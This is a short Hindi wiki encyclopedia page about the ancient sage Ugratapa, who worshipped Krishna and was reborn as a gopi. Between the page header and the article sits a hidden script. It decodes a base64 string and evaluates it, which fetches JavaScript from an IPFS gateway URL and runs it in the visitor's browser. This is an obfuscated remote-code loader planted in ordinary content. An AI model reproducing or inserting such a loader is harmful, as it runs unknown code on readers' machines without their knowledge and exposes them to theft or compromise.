उग्रतप

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित १२:४९, २ फ़रवरी २०१४ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उग्रतप एक प्राचीन ऋषि थे। इन्होंने भगवान श्रीकृष्ण के उस श्रृंगारमय रूप की आराधना की थी, जिसमें कृष्ण गोपियों के साथ विहार में रत रहते हैं। फलत: कृष्णावतार के समय गोकुलवासी सुनंद गोप की कन्या के रूप में इनका जन्म हुआ था। गोपिका रूप में इन्होंने कृष्ण की अनन्यभाव से उत्कृष्ट सेवा की थी।[१]

टीका टिप्पणी और संदर्भ

  1. कैलास चन्द्र शर्मा, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 52